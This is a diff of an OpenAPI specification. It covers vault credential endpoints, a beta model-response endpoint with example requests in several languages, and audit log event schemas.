+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested vault or credential was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current vault state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Retrieve a vault credential
+ post:
+ operationId: rotateVaultCredential
+ summary: Rotate a vault credential
+ description: Rotates a vault credential's write-only secret and returns only credential metadata. See [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+ tags:
+ - Vaults
+ parameters:
+ - name: vault_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the vault.
+ - name: credential_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the vault credential.
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/RotateVaultCredentialParams'
+ responses:
+ '200':
+ description: The rotated vault credential without secret values.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/VaultCredentialResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required management permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested vault or credential was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current vault state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Rotate a vault credential
+ delete:
+ operationId: deleteVaultCredential
+ summary: Delete a vault credential
+ description: Deletes a vault credential. See [vaults](https://developers.openai.com/api/docs/guides/agents-api/tools/vaults).
+ tags:
+ - Vaults
+ parameters:
+ - name: vault_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the vault.
+ - name: credential_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the vault credential.
+ responses:
+ '200':
+ description: The deleted vault credential.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/DeletedVaultCredentialResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required management permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested vault or credential was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current vault state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Delete a vault credential
+ /responses?beta=true:
+ post:
+ operationId: beta_createResponse
+ tags:
+ - Responses
+ summary: Create a model response
+ requestBody:
+ required: true
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/BetaCreateResponse'
+ responses:
+ '200':
+ description: OK
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/BetaResponse'
+ text/event-stream:
+ schema:
+ $ref: '#/components/schemas/BetaResponseStreamEvent'
+ '429':
+ $ref: '#/components/responses/InferenceRateLimited'
+ '503':
+ $ref: '#/components/responses/InferenceServiceUnavailable'
+ x-oaiMeta:
+ name: Create a model response
+ group: responses
+ path: create
+ examples:
+ - title: Text input
+ request:
+ curl: |
+ curl https://api.openai.com/v1/responses \
+ -H "Content-Type: application/json" \
+ -H "Authorization: Bearer $OPENAI_API_KEY" \
+ -d '{
+ "model": "gpt-6-astra",
+ "input": "Tell me a three sentence bedtime story about a unicorn."
+ }'
+ javascript: |
+ import OpenAI from "openai";
+
+ const openai = new OpenAI();
+
+ const response = await openai.responses.create({
+ model: "gpt-6-astra",
+ input: "Tell me a three sentence bedtime story about a unicorn."
+ });
+
+ console.log(response);
+ python: |
+ from openai import OpenAI
+
+ client = OpenAI()
+
+ response = client.responses.create(
+ model="gpt-6-astra",
+ input="Tell me a three sentence bedtime story about a unicorn."
+ )
+
+ print(response)
+ csharp: |
+ using System;
+ using OpenAI.Responses;
+
+ OpenAIResponseClient client = new(
+ model: "gpt-6-astra",
+ apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
+ );
+
+ OpenAIResponse response = client.CreateResponse("Tell me a three sentence bedtime story about a unicorn.");
+
+ Console.WriteLine(response.GetOutputText());
+ response: |
+ {
+ "id": "resp_67ccd2bed1ec8190b14f964abc0542670bb6a6b452d3795b",
+ "object": "response",
+ "created_at": 1741476542,
+ "status": "completed",
+ "completed_at": 1741476543,
+ "error": null,
+ "incomplete_details": null,
+ "instructions": null,
+ "max_output_tokens": null,
+ "model": "gpt-6-astra",
+ "output": [
+ {
+ "type": "message",
+ "id": "msg_67ccd2bf17f0819081ff3bb2cf6508e60bb6a6b452d3795b",
+ "status": "completed",
+ "role": "assistant",
+ "content": [
+ {
+ "type": "output_text",
+ "text": "In a peaceful grove beneath a silver moon, a unicorn named Lumina discovered a hidden pool that reflected the stars. As she dipped her horn into the water, the pool began to shimmer, revealing a pathway to a magical realm of endless night skies. Filled with wonder, Lumina whispered a wish for all who dream to find their own hidden magic, and as she glanced back, her hoofprints sparkled like stardust.",
+ "annotations": []
+ }
+ ]
+ }
+ ],
+ "parallel_tool_calls": true,
+ "previous_response_id": null,
+ "reasoning": {
+ "effort": null,
+ "summary": null
+ },
+ "store": true,
+ "temperature": 1.0,
+ "text": {
+ "format": {
+ "type": "text"
+ }
+ },
+ "tool_choice": "auto",
+ "tools": [],
+ "top_p": 1.0,
+ "truncation": "disabled",
+ "usage": {
+ "input_tokens": 36,
+ "input_tokens_details": {
+ "cached_tokens": 0,
+ "cache_write_tokens": 0
+ },
+ "output_tokens": 87,
+ "output_tokens_details": {
+ "reasoning_tokens": 0
+ },
+ "total_tokens": 123
+ },
+ "user": null,
+ "metadata": {}
+ }
+ - title: Image input
+ request:
+ curl: |
+ curl https://api.openai.com/v1/responses \
+ -H "Content-Type: application/json" \
+ -H "Authorization: Bearer $OPENAI_API_KEY" \
+ -d '{
+ "model": "gpt-6-astra",
+ "input": [
+ {
+ "role": "user",
+ "content": [
+ {"type": "input_text", "text": "what is in this image?"},
+ {
+ "type": "input_image",
+ "image_url": "https://upload.wikimedia.org/wikipedia/commons/thumb/d/dd/Gfp-wisconsin-madison-the-nature-boardwalk.jpg/2560px-Gfp-wisconsin-madison-the-nature-boardwalk.jpg"
+ }
+ ]
+ }
+ ]
+ }'
+ javascript: |
+ import OpenAI from "openai";
+
+ const openai = new OpenAI();
+
+ const response = await openai.responses.create({
+ model: "gpt-6-astra",
+ input: [
+ {
+ role: "user",
+ content: [
+ { type: "input_text", text: "what is in this image?" },
+ {
+ type: "input_image",
+ image_url:
+ "https://upload.wikimedia.org/wikipedia/commons/thumb/d/dd/Gfp-wisconsin-madison-the-nature-boardwalk.jpg/2560px-Gfp-wisconsin-madison-the-nature-boardwalk.jpg",
+ },
+ ],
+ },
+ ],
+ });
+
+ console.log(response);
+ python: |
+ from openai import OpenAI
+
+ client = OpenAI()
+
+ response = client.responses.create(
+ model="gpt-6-astra",
+ input=[
+ {
+ "role": "user",
+ "content": [
+ { "type": "input_text", "text": "what is in this image?" },
+ {
+ "type": "input_image",
+ "image_url": "https://upload.wikimedia.org/wikipedia/commons/thumb/d/dd/Gfp-wisconsin-madison-the-nature-boardwalk.jpg/2560px-Gfp-wisconsin-madison-the-nature-boardwalk.jpg"
+ }
+ ]
+ }
+ ]
+ )
+
+ print(response)
+ csharp: |
+ using System;
+ using System.Collections.Generic;
+
+ using OpenAI.Responses;
+
+ OpenAIResponseClient client = new(
+ model: "gpt-6-astra",
+ apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
+ );
+
+ List inputItems =
+ [
+ ResponseItem.CreateUserMessageItem(
+ [
+ ResponseContentPart.CreateInputTextPart("What is in this image?"),
+ ResponseContentPart.CreateInputImagePart(new Uri("https://upload.wikimedia.org/wikipedia/commons/thumb/d/dd/Gfp-wisconsin-madison-the-nature-boardwalk.jpg/2560px-Gfp-wisconsin-madison-the-nature-boardwalk.jpg"))
+ ]
+ )
+ ];
+
+ OpenAIResponse response = client.CreateResponse(inputItems);
+
+ Console.WriteLine(response.GetOutputText());
+ response: |
+ {
+ "id": "resp_67ccd3a9da748190baa7f1570fe91ac604becb25c45c1d41",
+ "object": "response",
+ "created_at": 1741476777,
+ "status": "completed",
+ "completed_at": 1741476778,
+ "error": null,
+ "incomplete_details": null,
+ "instructions": null,
+ "max_output_tokens": null,
+ "model": "gpt-6-astra",
+ "output": [
+ {
+ "type": "message",
+ "id": "msg_67ccd3acc8d48190a77525dc6de64b4104becb25c45c1d41",
+ "status": "completed",
+ "role": "assistant",
+ "content": [
+ {
+ "type": "output_text",
+ "text": "The image depicts a scenic landscape with a wooden boardwalk or pathway leading through lush, green grass under a blue sky with some clouds. The setting suggests a peaceful natural area, possibly a park or nature reserve. There are trees and shrubs in the background.",
+ "annotations": []
+ }
+ ]
+ }
+ ],
+ "parallel_tool_calls": true,
+ "previous_response_id": null,
+ "reasoning": {
+ "effort": null,
+ "summary": null
+ },
+ "store": true,
+ "temperature": 1.0,
+ "text": {
+ "format": {
+ "type": "text"
+ }
+ },
+ "tool_choice": "auto",
+ "tools": [],
+ "top_p": 1.0,
+ "truncation": "disabled",
+ "usage": {
+ "input_tokens": 328,
+ "input_tokens_details": {
+ "cached_tokens": 0,
+ "cache_write_tokens": 0
+ },
+ "output_tokens": 52,
+ "output_tokens_details": {
+ "reasoning_tokens": 0
+ },
+ "total_tokens": 380
+ },
+ "user": null,
+ "metadata": {}
+ }
+ - title: File input
+ request:
+ curl: |
+ curl https://api.openai.com/v1/responses \
+ -H "Content-Type: application/json" \
+ -H "Authorization: Bearer $OPENAI_API_KEY" \
+ -d '{
+ "model": "gpt-6-astra",
+ "input": [
+ {
+ "role": "user",
+ "content": [
+ {"type": "input_text", "text": "what is in this file?"},
+ {
+ "type": "input_file",
+ "file_url": "https://www.berkshirehathaway.com/letters/2024ltr.pdf",
+ "detail": "auto"
+ }
+ ]
+ }
+ ]
+ }'
+ javascript: |
+ import OpenAI from "openai";
+
+ const openai = new OpenAI();
+
+ const response = await openai.responses.create({
+ model: "gpt-6-astra",
+ input: [
+ {
+ role: "user",
+ content: [
+ { type: "input_text", text: "what is in this file?" },
+ {
+ type: "input_file",
+ file_url: "https://www.berkshirehathaway.com/letters/2024ltr.pdf",
+ detail: "auto",
+ },
+ ],
+ },
+ ],
+ });
+
+ console.log(response);
+ python: |
+ from openai import OpenAI
+
+ client = OpenAI()
+
+ response = client.responses.create(
+ model="gpt-6-astra",
+ input=[
+ {
+ "role": "user",
+ "content": [
+ { "type": "input_text", "text": "what is in this file?" },
+ {
"type": "input_file",
"file_url": "https://www.berkshirehathaway.com/letters/2024ltr.pdf",
"detail": "auto"
@@ -28287,135 +31532,506 @@ components:
properties:
id:
type: string
- description: The ID of the IP allowlist configuration.
- allowed_ips:
- type: array
- description: The updated set of IP addresses or CIDR ranges in the configuration.
- items:
- type: string
- ip_allowlist.deleted:
+ description: The ID of the IP allowlist configuration.
+ allowed_ips:
+ type: array
+ description: The updated set of IP addresses or CIDR ranges in the configuration.
+ items:
+ type: string
+ ip_allowlist.deleted:
+ type: object
+ description: The details for events with this `type`.
+ properties:
+ id:
+ type: string
+ description: The ID of the IP allowlist configuration.
+ name:
+ type: string
+ description: The name of the IP allowlist configuration.
+ allowed_ips:
+ type: array
+ description: The IP addresses or CIDR ranges that were in the configuration.
+ items:
+ type: string
+ ip_allowlist.config.activated:
+ type: object
+ description: The details for events with this `type`.
+ properties:
+ configs:
+ type: array
+ description: The configurations that were activated.
+ items:
+ type: object
+ properties:
+ id:
+ type: string
+ description: The ID of the IP allowlist configuration.
+ name:
+ type: string
+ description: The name of the IP allowlist configuration.
+ ip_allowlist.config.deactivated:
+ type: object
+ description: The details for events with this `type`.
+ properties:
+ configs:
+ type: array
+ description: The configurations that were deactivated.
+ items:
+ type: object
+ properties:
+ id:
+ type: string
+ description: The ID of the IP allowlist configuration.
+ name:
+ type: string
+ description: The name of the IP allowlist configuration.
+ login.succeeded:
+ type: object
+ description: This event has no additional fields beyond the standard audit log attributes.
+ login.failed:
+ type: object
+ description: The details for events with this `type`.
+ properties:
+ error_code:
+ type: string
+ description: The error code of the failure.
+ error_message:
+ type: string
+ description: The error message of the failure.
+ logout.succeeded:
+ type: object
+ description: This event has no additional fields beyond the standard audit log attributes.
+ logout.failed:
+ type: object
+ description: The details for events with this `type`.
+ properties:
+ error_code:
+ type: string
+ description: The error code of the failure.
+ error_message:
+ type: string
+ description: The error message of the failure.
+ organization.updated:
+ type: object
+ description: The details for events with this `type`.
+ properties:
+ id:
+ type: string
+ description: The organization ID.
+ changes_requested:
+ type: object
+ description: The payload used to update the organization settings.
+ properties:
+ title:
+ type: string
+ description: The organization title.
+ description:
+ type: string
+ description: The organization description.
+ name:
+ type: string
+ description: The organization name.
+ threads_ui_visibility:
+ type: string
+ description: Visibility of the threads page which shows messages created with the Assistants API and Playground. One of `ANY_ROLE`, `OWNERS`, or `NONE`.
+ usage_dashboard_visibility:
+ type: string
+ description: Visibility of the usage dashboard which shows activity and costs for your organization. One of `ANY_ROLE` or `OWNERS`.
+ api_call_logging:
+ type: string
+ description: How your organization logs data from supported API calls. One of `disabled`, `enabled_per_call`, `enabled_for_all_projects`, or `enabled_for_selected_projects`
+ api_call_logging_project_ids:
+ type: string
+ description: The list of project ids if api_call_logging is set to `enabled_for_selected_projects`
+ project.created:
+ type: object
+ description: The details for events with this `type`.
+ properties:
+ id:
+ type: string
+ description: The project ID.
+ data:
+ type: object
+ description: The payload used to create the project.
+ properties:
+ name:
+ type: string
+ description: The project name.
+ title:
+ type: string
+ description: The title of the project as seen on the dashboard.
+ project.updated:
+ type: object
+ description: The details for events with this `type`.
+ properties:
+ id:
+ type: string
+ description: The project ID.
+ changes_requested:
+ type: object
+ description: The payload used to update the project.
+ properties:
+ title:
+ type: string
+ description: The title of the project as seen on the dashboard.
+ project.archived:
+ type: object
+ description: The details for events with this `type`.
+ properties:
+ id:
+ type: string
+ description: The project ID.
+ project.deleted:
+ type: object
+ description: The details for events with this `type`.
+ properties:
+ id:
+ type: string
+ description: The project ID.
+ rate_limit.updated:
+ type: object
+ description: The details for events with this `type`.
+ properties:
+ id:
+ type: string
+ description: The rate limit ID
+ changes_requested:
+ type: object
+ description: The payload used to update the rate limits.
+ properties:
+ max_requests_per_1_minute:
+ type: integer
+ description: The maximum requests per minute.
+ max_tokens_per_1_minute:
+ type: integer
+ description: The maximum tokens per minute.
+ max_images_per_1_minute:
+ type: integer
+ description: The maximum images per minute. Only relevant for certain models.
+ max_audio_megabytes_per_1_minute:
+ type: integer
+ description: The maximum audio megabytes per minute. Only relevant for certain models.
+ max_requests_per_1_day:
+ type: integer
+ description: The maximum requests per day. Only relevant for certain models.
+ batch_1_day_max_input_tokens:
+ type: integer
+ description: The maximum batch input tokens per day. Only relevant for certain models.
+ rate_limit.deleted:
+ type: object
+ description: The details for events with this `type`.
+ properties:
+ id:
+ type: string
+ description: The rate limit ID
+ role.created:
+ type: object
+ description: The details for events with this `type`.
+ properties:
+ id:
+ type: string
+ description: The role ID.
+ role_name:
+ type: string
+ description: The name of the role.
+ permissions:
+ type: array
+ items:
+ type: string
+ description: The permissions granted by the role.
+ resource_type:
+ type: string
+ description: The type of resource the role belongs to.
+ resource_id:
+ type: string
+ description: The resource the role is scoped to.
+ role.updated:
+ type: object
+ description: The details for events with this `type`.
+ properties:
+ id:
+ type: string
+ description: The role ID.
+ changes_requested:
+ type: object
+ description: The payload used to update the role.
+ properties:
+ role_name:
+ type: string
+ description: The updated role name, when provided.
+ resource_id:
+ type: string
+ description: The resource the role is scoped to.
+ resource_type:
+ type: string
+ description: The type of resource the role belongs to.
+ permissions_added:
+ type: array
+ items:
+ type: string
+ description: The permissions added to the role.
+ permissions_removed:
+ type: array
+ items:
+ type: string
+ description: The permissions removed from the role.
+ description:
+ type: string
+ description: The updated role description, when provided.
+ metadata:
+ type: object
+ description: Additional metadata stored on the role.
+ role.deleted:
+ type: object
+ description: The details for events with this `type`.
+ properties:
+ id:
+ type: string
+ description: The role ID.
+ role.assignment.created:
+ type: object
+ description: The details for events with this `type`.
+ properties:
+ id:
+ type: string
+ description: The identifier of the role assignment.
+ principal_id:
+ type: string
+ description: The principal (user or group) that received the role.
+ principal_type:
+ type: string
+ description: The type of principal (user or group) that received the role.
+ resource_id:
+ type: string
+ description: The resource the role assignment is scoped to.
+ resource_type:
+ type: string
+ description: The type of resource the role assignment is scoped to.
+ role.assignment.deleted:
+ type: object
+ description: The details for events with this `type`.
+ properties:
+ id:
+ type: string
+ description: The identifier of the role assignment.
+ principal_id:
+ type: string
+ description: The principal (user or group) that had the role removed.
+ principal_type:
+ type: string
+ description: The type of principal (user or group) that had the role removed.
+ resource_id:
+ type: string
+ description: The resource the role assignment was scoped to.
+ resource_type:
+ type: string
+ description: The type of resource the role assignment was scoped to.
+ role.bound_to_resource:
+ type: object
+ description: The details for events with this `type`.
+ properties:
+ id:
+ type: string
+ description: The ID of the resource the role was bound to. ChatGPT workspace connector resources use `__`.
+ role_id:
+ type: string
+ description: The ID of the role that was bound to the resource.
+ resource_id:
+ type: string
+ description: The ID of the resource the role was bound to.
+ resource_type:
+ type: string
+ description: The type of resource the role was bound to.
+ permissions:
+ type: array
+ items:
+ type: string
+ description: The permissions granted to the role for the resource.
+ workspace_id:
+ type: string
+ description: The workspace ID for a ChatGPT workspace connector resource.
+ connector_id:
+ type: string
+ description: The connector ID for a ChatGPT workspace connector resource.
+ connector_name:
+ type: string
+ description: The connector display name for a ChatGPT workspace connector resource, or the connector ID when the display name could not be resolved.
+ enabled:
+ type: boolean
+ description: Whether the connector is enabled for the role.
+ source:
+ type: string
+ description: The connector role mutation path that produced the event.
+ enum:
+ - role_toggle
+ - role_connector_update
+ - role_delete
+ - workspace_permissions
+ - connector_publish
+ role.unbound_from_resource:
+ type: object
+ description: The details for events with this `type`.
+ properties:
+ id:
+ type: string
+ description: The ID of the resource the role was unbound from. ChatGPT workspace connector resources use `__`.
+ role_id:
+ type: string
+ description: The ID of the role that was unbound from the resource.
+ resource_id:
+ type: string
+ description: The ID of the resource the role was unbound from.
+ resource_type:
+ type: string
+ description: The type of resource the role was unbound from.
+ permissions:
+ type: array
+ items:
+ type: string
+ description: The permissions remaining for the role after the change.
+ workspace_id:
+ type: string
+ description: The workspace ID for a ChatGPT workspace connector resource.
+ connector_id:
+ type: string
+ description: The connector ID for a ChatGPT workspace connector resource.
+ connector_name:
+ type: string
+ description: The connector display name for a ChatGPT workspace connector resource, or the connector ID when the display name could not be resolved.
+ enabled:
+ type: boolean
+ description: Whether the connector is enabled for the role.
+ source:
+ type: string
+ description: The connector role mutation path that produced the event.
+ enum:
+ - role_toggle
+ - role_connector_update
+ - role_delete
+ - workspace_permissions
+ - connector_publish
+ service_account.created:
+ type: object
+ description: The details for events with this `type`.
+ properties:
+ id:
+ type: string
+ description: The service account ID.
+ data:
+ type: object
+ description: The payload used to create the service account.
+ properties:
+ role:
+ type: string
+ description: The role of the service account. Is either `owner` or `member`.
+ service_account.updated:
+ type: object
+ description: The details for events with this `type`.
+ properties:
+ id:
+ type: string
+ description: The service account ID.
+ changes_requested:
+ type: object
+ description: The payload used to updated the service account.
+ properties:
+ role:
+ type: string
+ description: The role of the service account. Is either `owner` or `member`.
+ service_account.deleted:
+ type: object
+ description: The details for events with this `type`.
+ properties:
+ id:
+ type: string
+ description: The service account ID.
+ workload_identity_provider.created:
type: object
description: The details for events with this `type`.
properties:
id:
type: string
- description: The ID of the IP allowlist configuration.
- name:
- type: string
- description: The name of the IP allowlist configuration.
- allowed_ips:
- type: array
- description: The IP addresses or CIDR ranges that were in the configuration.
- items:
- type: string
- ip_allowlist.config.activated:
- type: object
- description: The details for events with this `type`.
- properties:
- configs:
- type: array
- description: The configurations that were activated.
- items:
- type: object
- properties:
- id:
- type: string
- description: The ID of the IP allowlist configuration.
- name:
- type: string
- description: The name of the IP allowlist configuration.
- ip_allowlist.config.deactivated:
+ description: The workload identity provider ID.
+ data:
+ type: object
+ description: The payload used to create the workload identity provider.
+ workload_identity_provider.updated:
type: object
description: The details for events with this `type`.
properties:
- configs:
- type: array
- description: The configurations that were deactivated.
- items:
- type: object
- properties:
- id:
- type: string
- description: The ID of the IP allowlist configuration.
- name:
- type: string
- description: The name of the IP allowlist configuration.
- login.succeeded:
- type: object
- description: This event has no additional fields beyond the standard audit log attributes.
- login.failed:
+ id:
+ type: string
+ description: The workload identity provider ID.
+ changes_requested:
+ type: object
+ description: The payload used to update the workload identity provider.
+ workload_identity_provider.deleted:
type: object
description: The details for events with this `type`.
properties:
- error_code:
+ id:
type: string
- description: The error code of the failure.
- error_message:
+ description: The workload identity provider ID.
+ name:
type: string
- description: The error message of the failure.
- logout.succeeded:
- type: object
- description: This event has no additional fields beyond the standard audit log attributes.
- logout.failed:
+ description: The workload identity provider name.
+ workload_identity_provider_mapping.created:
type: object
description: The details for events with this `type`.
properties:
- error_code:
+ id:
type: string
- description: The error code of the failure.
- error_message:
+ description: The workload identity provider mapping ID.
+ identity_provider_id:
type: string
- description: The error message of the failure.
- organization.updated:
+ description: The workload identity provider ID.
+ data:
+ type: object
+ description: The payload used to create the workload identity provider mapping.
+ workload_identity_provider_mapping.updated:
type: object
description: The details for events with this `type`.
properties:
id:
type: string
- description: The organization ID.
+ description: The workload identity provider mapping ID.
+ identity_provider_id:
+ type: string
+ description: The workload identity provider ID.
changes_requested:
type: object
- description: The payload used to update the organization settings.
- properties:
- title:
- type: string
- description: The organization title.
- description:
- type: string
- description: The organization description.
- name:
- type: string
- description: The organization name.
- threads_ui_visibility:
- type: string
- description: Visibility of the threads page which shows messages created with the Assistants API and Playground. One of `ANY_ROLE`, `OWNERS`, or `NONE`.
- usage_dashboard_visibility:
- type: string
- description: Visibility of the usage dashboard which shows activity and costs for your organization. One of `ANY_ROLE` or `OWNERS`.
- api_call_logging:
- type: string
- description: How your organization logs data from supported API calls. One of `disabled`, `enabled_per_call`, `enabled_for_all_projects`, or `enabled_for_selected_projects`
- api_call_logging_project_ids:
- type: string
- description: The list of project ids if api_call_logging is set to `enabled_for_selected_projects`
- project.created:
+ description: The payload used to update the workload identity provider mapping.
+ workload_identity_provider_mapping.deleted:
type: object
description: The details for events with this `type`.
properties:
id:
+ type: string
+ description: The workload identity provider mapping ID.
+ identity_provider_id:
+ type: string
+ description: The workload identity provider ID.
+ project_id:
type: string
description: The project ID.
+ service_account_id:
+ type: string
+ description: The mapped service account ID.
+ user.added:
+ type: object
+ description: The details for events with this `type`.
+ properties:
+ id:
+ type: string
+ description: The user ID.
data:
type: object
- description: The payload used to create the project.
+ description: The payload used to add the user to the project.
properties:
- name:
- type: string
- description: The project name.
- title:
+ role:
type: string
- description: The title of the project as seen on the dashboard.
- project.updated:
+ description: The role of the user. Is either `owner` or `member`.
+ user.updated:
type: object
description: The details for events with this `type`.
properties:
@@ -28424,3047 +32040,5938 @@ components:
description: The project ID.
changes_requested:
type: object
- description: The payload used to update the project.
+ description: The payload used to update the user.
properties:
- title:
+ role:
type: string
- description: The title of the project as seen on the dashboard.
- project.archived:
+ description: The role of the user. Is either `owner` or `member`.
+ user.deleted:
type: object
description: The details for events with this `type`.
properties:
id:
type: string
- description: The project ID.
- project.deleted:
+ description: The user ID.
+ certificate.created:
type: object
description: The details for events with this `type`.
properties:
id:
type: string
- description: The project ID.
- rate_limit.updated:
+ description: The certificate ID.
+ name:
+ type: string
+ description: The name of the certificate.
+ certificate.updated:
type: object
description: The details for events with this `type`.
properties:
id:
type: string
- description: The rate limit ID
- changes_requested:
- type: object
- description: The payload used to update the rate limits.
- properties:
- max_requests_per_1_minute:
- type: integer
- description: The maximum requests per minute.
- max_tokens_per_1_minute:
- type: integer
- description: The maximum tokens per minute.
- max_images_per_1_minute:
- type: integer
- description: The maximum images per minute. Only relevant for certain models.
- max_audio_megabytes_per_1_minute:
- type: integer
- description: The maximum audio megabytes per minute. Only relevant for certain models.
- max_requests_per_1_day:
- type: integer
- description: The maximum requests per day. Only relevant for certain models.
- batch_1_day_max_input_tokens:
- type: integer
- description: The maximum batch input tokens per day. Only relevant for certain models.
- rate_limit.deleted:
+ description: The certificate ID.
+ name:
+ type: string
+ description: The name of the certificate.
+ certificate.deleted:
type: object
description: The details for events with this `type`.
properties:
id:
type: string
- description: The rate limit ID
- role.created:
+ description: The certificate ID.
+ name:
+ type: string
+ description: The name of the certificate.
+ certificate:
+ type: string
+ description: The certificate content in PEM format.
+ certificates.activated:
type: object
description: The details for events with this `type`.
properties:
- id:
- type: string
- description: The role ID.
- role_name:
+ certificates:
+ type: array
+ items:
+ type: object
+ properties:
+ id:
+ type: string
+ description: The certificate ID.
+ name:
+ type: string
+ description: The name of the certificate.
+ certificates.deactivated:
+ type: object
+ description: The details for events with this `type`.
+ properties:
+ certificates:
+ type: array
+ items:
+ type: object
+ properties:
+ id:
+ type: string
+ description: The certificate ID.
+ name:
+ type: string
+ description: The name of the certificate.
+ required:
+ - id
+ - type
+ - effective_at
+ x-oaiMeta:
+ name: The audit log object
+ example: |
+ {
+ "id": "req_xxx_20240101",
+ "type": "api_key.created",
+ "effective_at": 1720804090,
+ "actor": {
+ "type": "session",
+ "session": {
+ "user": {
+ "id": "user-xxx",
+ "email": "user@example.com"
+ },
+ "ip_address": "127.0.0.1",
+ "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
+ }
+ },
+ "api_key.created": {
+ "id": "key_xxxx",
+ "data": {
+ "scopes": ["resource.operation"]
+ }
+ }
+ }
+ AuditLogActor:
+ type: object
+ description: The actor who performed the audit logged action.
+ properties:
+ type:
+ type: string
+ description: The type of actor. Is either `session` or `api_key`.
+ enum:
+ - session
+ - api_key
+ session:
+ $ref: '#/components/schemas/AuditLogActorSession'
+ api_key:
+ $ref: '#/components/schemas/AuditLogActorApiKey'
+ AuditLogActorApiKey:
+ type: object
+ description: The API Key used to perform the audit logged action.
+ properties:
+ id:
+ type: string
+ description: The tracking id of the API key.
+ type:
+ type: string
+ description: The type of API key. Can be either `user` or `service_account`.
+ enum:
+ - user
+ - service_account
+ user:
+ $ref: '#/components/schemas/AuditLogActorUser'
+ service_account:
+ $ref: '#/components/schemas/AuditLogActorServiceAccount'
+ AuditLogActorServiceAccount:
+ type: object
+ description: The service account that performed the audit logged action.
+ properties:
+ id:
+ type: string
+ description: The service account id.
+ AuditLogActorSession:
+ type: object
+ description: The session in which the audit logged action was performed.
+ properties:
+ user:
+ $ref: '#/components/schemas/AuditLogActorUser'
+ ip_address:
+ type: string
+ description: The IP address from which the action was performed.
+ AuditLogActorUser:
+ type: object
+ description: The user who performed the audit logged action.
+ properties:
+ id:
+ type: string
+ description: The user id.
+ email:
+ type: string
+ description: The user email.
+ AuditLogEventType:
+ type: string
+ description: The event type.
+ enum:
+ - api_key.created
+ - api_key.updated
+ - api_key.deleted
+ - certificate.created
+ - certificate.updated
+ - certificate.deleted
+ - certificates.activated
+ - certificates.deactivated
+ - checkpoint.permission.created
+ - checkpoint.permission.deleted
+ - external_key.registered
+ - external_key.removed
+ - group.created
+ - group.updated
+ - group.deleted
+ - invite.sent
+ - invite.accepted
+ - invite.deleted
+ - ip_allowlist.created
+ - ip_allowlist.updated
+ - ip_allowlist.deleted
+ - ip_allowlist.config.activated
+ - ip_allowlist.config.deactivated
+ - login.succeeded
+ - login.failed
+ - logout.succeeded
+ - logout.failed
+ - organization.updated
+ - project.created
+ - project.updated
+ - project.archived
+ - project.deleted
+ - rate_limit.updated
+ - rate_limit.deleted
+ - resource.deleted
+ - tunnel.created
+ - tunnel.updated
+ - tunnel.deleted
+ - workload_identity_provider.created
+ - workload_identity_provider.updated
+ - workload_identity_provider.deleted
+ - workload_identity_provider_mapping.created
+ - workload_identity_provider_mapping.updated
+ - workload_identity_provider_mapping.deleted
+ - role.created
+ - role.updated
+ - role.deleted
+ - role.assignment.created
+ - role.assignment.deleted
+ - role.bound_to_resource
+ - role.unbound_from_resource
+ - scim.enabled
+ - scim.disabled
+ - service_account.created
+ - service_account.updated
+ - service_account.deleted
+ - user.added
+ - user.updated
+ - user.deleted
+ - tenant.metadata.updated
